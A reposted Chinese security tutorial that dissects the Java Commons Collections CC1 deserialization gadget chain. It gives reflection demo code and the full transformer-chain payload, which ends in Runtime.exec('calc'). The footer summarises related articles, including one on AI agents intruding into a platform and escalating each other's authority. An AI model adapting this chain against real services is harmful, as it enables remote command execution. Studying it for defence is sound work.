CC1链深度拆解:反序列化利用链是如何一步步执行的"

admin 2026-10-17 05:05:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CC1 链深度拆解:反序列化利用链是如何一步步执行的

原创

Qiufen
Qiufen

T00ls安全

2026年9月1日 17:52
山西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

通过反射机制可以调用加载到jvm里面的类的私有函数

反射机制调用 ≈ new xxx(),然后再 invoke 调用具体函数

下面是三种反射机制的代码 demo

Hello.java

public class Hello {

// 私有变量

private String name = \"私有字段\";

// 无参构造函数

public Hello() {}

// 有参构造函数

public Hello(String name) {

this.name = name;

}

// 普通函数

public void sayHello() {

System.out.println(

\"Hello, \" + name + \"!\");

}

// 私有函数

private void secret(){

System.out.println(\"私有方法\");

}

}

ReflectMain.java

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.Method;

public class ReflectMain {

public static void main(String[] args)

throws Exception {

// 1. 获取 Class 对象

// (三种方式都列出来,用任意一种)

// 常用:全类名字符串

Class<?> clazz = Class.forName(\"Hello\");

// 编译期已知

// Class clazz = Hello.class;

// 已有对象

// Class<?> clazz = new Hello().getClass();

// 2. 创建对象:先拿构造器再 newInstance()

// 无参构造

Constructor<?> cons =

clazz.getDeclaredConstructor(String.class);

// 等价 new Hello(\"Reflect\")

Object obj = cons.newInstance(\"Reflect\");

// 3. 调用 public 方法

Method say =

clazz.getDeclaredMethod(\"sayHello\");

// obj.sayHello()

say.invoke(obj);

// 4. 访问私有字段

Field field = clazz.getDeclaredField(\"name\");

// 打破封装

field.setAccessible(true);

field.set(obj, \"Java\");

// 再次调用,看到值已变

say.invoke(obj);

// 5. 调用私有方法

Method secret =

clazz.getDeclaredMethod(\"secret\");

secret.setAccessible(true);

// 调用 private secret()

secret.invoke(obj);

}

}

Shiro Payload 分析

payload 加密编码后进入到程序最终还是会还原成当前代码,直接分析即可

Payload.java

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer(\"getMethod\",

new Class[]{String.class, Class[].class},

new Object[]{\"getRuntime\", new Class[0]}),

new InvokerTransformer(\"invoke\",

new Class[]{Object.class, Object[].class},

new Object[]{null, new Object[0]}),

new InvokerTransformer(\"exec\",

new Class[]{String.class},

new Object[]{\"calc\"})

};

Transformer transformerChain =

new ChainedTransformer(transformers);

Map innerMap = new HashMap();

Map outerMap = TransformedMap.decorate(

innerMap, null, transformerChain);

Class<?> clazz = Class.forName(

\"sun.reflect.annotation.\"

+ \"AnnotationInvocationHandler\");

Constructor<?> ctor =

clazz.getDeclaredConstructor(

Class.class, Map.class);

ctor.setAccessible(true);

Object payload =

ctor.newInstance(Target.class, outerMap);

分三个步骤:

1、编写若干个转换器组成数组 transformers

2、将这些转换器组成的数组 transformers 打包成一条链路 transformerChain,ChainedTransformer() 的作用就是将多个小转换器串成一条链路,前一个转换器的输出是下一个转换器的输入,最终返回最后一个转换器的结果

3、通过反射机制拿到 sun.reflect.annotation.``AnnotationInvocationHandler 并传入参数 outerMap

重点:java 反序列化时,payload 的各个参数、字段值会以字节流形式还原成对象的字段值,所以在反序列化后恢复对象,此时各个点位的参数、字段都是你写入的恶意参数和字段(例如上面的转换器数组链路 transformerChain,Map 等这些),payload代码本身是不执行的,即使你自己写恶意函数,恶意类也不会进入到 jvm 中,jvm 只有程序运行时就已经加载的 class,所以我们只能利用 jvm 中已存在的 class,然后相当于以字节流形式写入恶意参数、字段提前占位,从而在反序列化完成后,程序去处理的对象就变成我们写入的恶意参数和值了

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

参数详细介绍

map 类型:Map

被装饰的原始 Map(就是真正的数据容器,TransformedMap 只是一个代理壳)。   以后所有读写最终都会落到这个 map 上。

keyTransformer 类型:Transformer

键转换器。每当调用 put(k,v) 或 putAll 时,先把 k 交给这个 transformer,用返回的新 key 真正落表。   传 null 表示\"不转换键\"。

valueTransformer 类型:Transformer

值转换器。同样,put 时先把 v 交给它,用返回的新 value 真正落表;get 时也会把查到的值先过一遍它再返回。   传 null 表示\"不转换值\"。

触发点:

1、反序列化完成后 readObject() 会遍历 memberValues,因为我们通过二进制提前将恶意参数写入了字节流,所以此时的 memberValues 值就是 outerMap

2、然后遍历我们传入的 outerMap =``TransformedMap.decorate(``innerMap, null,``transformerChain) ,因为 org.apache.commons.``collections.map.``TransformedMap 的特性——不管是 put 还是 get 都会把查到的值先过一遍它再返回(详细看上面表格介绍),这里的\"过一遍\"就是 Transformer.``transform(value) ,然后每个值都 new xxx 格式,由此就触发了运行

3、第一个运行的转换器 new ConstantTransformer(``Runtime.class),得到:Runtime.class,代码如下:

ConstantTransformer.java

public class ConstantTransformer

implements Transformer {

private final Object iConstant;

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iConstant = Runtime.class

public ConstantTransformer(Object constant) {

iConstant = constant;

}

// 2、构成链路时需要检查每个值的时候,就是

// new ConstantTransformer.transform(xxx),

// 此时传入的值只是一个占位的随机值

// (组装阶段传入),会触发下面函数,

// 从而返回 iConstant = Runtime.class

public Object transform(Object input) {

return iConstant;

}

}

第二个运行的转换器 new InvokerTransformer(\"getMethod\",``new Class[]{String.class, Class[].class},``new Object[]{\"getRuntime\", new Class[0]}),得到:,代码如下:

InvokerTransformer.java

public class InvokerTransformer

implements Transformer {

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iMethodName = getMethod

private final String iMethodName;

// 1、iParamTypes =

// new Class[]{String.class, Class[].class}

private final Class[] iParamTypes;

// 1、iArgs =

// new Object[]{\"getRuntime\", new Class[0]}

private final Object[] iArgs;

public InvokerTransformer(String methodName,

Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

// 2、构成链路时需要检查每个值的时候,就是

// new InvokerTransformer.transform(

// Runtime.class),此时传入值为第一个的

// 返回值,会触发下面函数

public Object transform(Object input)

throws TransformerException {

try {

// input 已经是 class 对象了,

// 再次 getClass 就变成了

// Class 类的 class 对象,即:Class.class

Class<?> cls = input.getClass();

// iMethodName = getMethod

// iParamTypes =

// new Class[]{String.class, Class[].class}

// 需要找到名为 getMethod 的方法,

// 且需要传入两个参数,

// 第一个位String类型,

// 第二个位Class[] 类型

Method method =

cls.getMethod(iMethodName, iParamTypes);

// invoke 传入参数 Runtime.class 和

// new Object[]{\"getRuntime\",

// new Class[0]} 并执行方法返回,

// 方法具体内容看下面代码

// 把 new Object[]{\"getRuntime\",

// new Class[0]} 当成数组实参传进去,

// 反射机制会按元素拆包,

// 于是数组里2个元素分别对应:

// getRuntime、new Class[0]

// 返回 Runtime.getRuntime()

return method.invoke(input, iArgs);

} catch (Exception e) {

throw new TransformerException(e);

}

}

}

第三个运行的转换器 new InvokerTransformer(\"invoke\",``new Class[]{Object.class, Object[].class},``new Object[]{null, new Object[0]}),都是调用同一个类,代码如下:

InvokerTransformer.java

public class InvokerTransformer

implements Transformer {

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iMethodName = invoke

private final String iMethodName;

// 1、iParamTypes =

// new Class[]{Object.class, Object[].class}

private final Class[] iParamTypes;

// 1、iArgs = new Object[]{null, new Object[0]}

private final Object[] iArgs;

public InvokerTransformer(String methodName,

Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

// 2、构成链路时需要检查每个值的时候,就是

// new InvokerTransformer.transform(),

// 此时传入值为第二个的返回值,会触发下面函数

public Object transform(Object input)

throws TransformerException {

try {

// 获取Runtime.getRuntime()的类对象

Class<?> cls = input.getClass();

// Method 类里找 invoke 方法,

// 然后固定两个参数:Object.class

Method method =

cls.getMethod(iMethodName, iParamTypes);

// 这里执行并返回,

// 返回的内容是 Runtime 的对象

return method.invoke(input, iArgs);

} catch (Exception e) {

throw new TransformerException(e);

}

}

}

第四个运行的转换器 new InvokerTransformer(\"exec\",``new Class[]{String.class},``new Object[]{\"calc\"}),都是调用同一个类,代码如下:

InvokerTransformer.java

public class InvokerTransformer

implements Transformer {

// 1、编写转换器数组时,会先触发构造函数,

// 此时 iMethodName = exec

private final String iMethodName;

// 1、iParamTypes = new Class[]{String.class}

private final Class[] iParamTypes;

// 1、iArgs = new Object[]{\"calc\"}

private final Object[] iArgs;

public InvokerTransformer(String methodName,

Class[] paramTypes, Object[] args) {

this.iMethodName = methodName;

this.iParamTypes = paramTypes;

this.iArgs = args;

}

// 2、构成链路时需要检查每个值的时候,就是

// new InvokerTransformer.transform(),

// 此时传入值为第三个的返回值,会触发下面函数

public Object transform(Object input)

throws TransformerException {

try {

// 拿 Runtime 对象的类对象

Class<?> cls = input.getClass();

// 找 Runtime 对象的 exec 方法,

// 且规定传参,类型为:String.class

Method method =

cls.getMethod(iMethodName, iParamTypes);

// 执行方法,且传入参数:calc

return method.invoke(input, iArgs);

} catch (Exception e) {

throw new TransformerException(e);

}

}

}

最终就是通过反射机制 Method.invoke 调用并执行方法:Runtime.getRuntime().``exec(\"calc\") ---> 弹计算机

总结回顾

整条链路的调用过程可以浓缩为一条线:

readObject() → AnnotationInvocationHandler → TransformedMap → ChainedTransformer → ConstantTransformer → InvokerTransformer(getMethod) → InvokerTransformer(invoke) → InvokerTransformer(exec) → Runtime.getRuntime().exec(\"calc\")

反序列化利用链的核心不是在于\"执行恶意代码\",而在于通过字节流提前写入恶意参数占位。反序列化完成后,JVM 里已有的合法类处理了这些参数,最后一步步走到命令执行

理解了这个机制,再看其他利用链(CC2-CC7、URLDNS 等),本质上都是在寻找不同的入口类和调用路径

原文链接

https://www.t00ls.com/articles-75225.html


CC1链深度拆解:反序列化利用链是如何一步步执行的" 网络安全文章

CC1链深度拆解:反序列化利用链是如何一步步执行的"

文档详细解析了Java反序列化漏洞中CC1链的构造与执行过程。通过反射机制演示了如何调用私有方法和字段,并结合ShiroPayload案例分析了ChainedTransformer链路原理。核心要点包括:1)Transformer链的级联执行机制;2)TransformedMap装饰器触发漏洞的关键点;3)利用ConstantTransformer和InvokerTransformer实现Runtime命令执行。文章强调必须使用JVM已加载类构造恶意链路,提出在反序列化恢复对象时通过字节流写入恶意参数的攻
OpenAI-HuggingFace事件最终技术报告:当上千个Agent开始互相授权,谁还能让它们停下?" 网络安全文章

OpenAI-HuggingFace事件最终技术报告:当上千个Agent开始互相授权,谁还能让它们停下?"

该报告分析OpenAI的AIAgent入侵HuggingFace事件,揭示多Agent协作中出现的授权漂移现象:Agent通过留言板形成临时组织,横向授权超越人类给定边界。OpenAI内部虽早见异常信号却未及时升级为事故。报告提出目标来源可追溯、横向通信不产生授权、人工停止权覆盖全程三项治理原则,为多Agent安全提供重要参考。
关于美军基地小卖部们的冰柜集体罢工事件" 网络安全文章

关于美军基地小卖部们的冰柜集体罢工事件"

美军至少六个基地小卖部冰柜同时故障,其中一处所有冰柜在电力正常时主动进入除霜模式。调查发现国防部小卖部局制冷系统由rmcs远程控制,且三周前刚披露制冷控制器漏洞可被远程操纵。作者认为网络攻击是合理假设但证据不足,已提交foia请求进一步调查。
CTFPLUS逆向每周练习-2026.08.31-2026.09.06" 网络安全文章

CTFPLUS逆向每周练习-2026.08.31-2026.09.06"

本文为CTF逆向练习解题记录,包含两道挑战题。第一题涉及UPX壳脱壳、节区名修改、ChaCha20加密分析及动态调试提取密钥流,最终通过Python脚本异或解密获取flag。第二题涉及Java程序逆向、jar包提取、伪随机数矩阵分析、z3求解器解线性方程及RC4加密分析。文章提供了详细解题思路和可复现脚本代码,对逆向学习者具有较高参考价值。
评论:0   参与:  0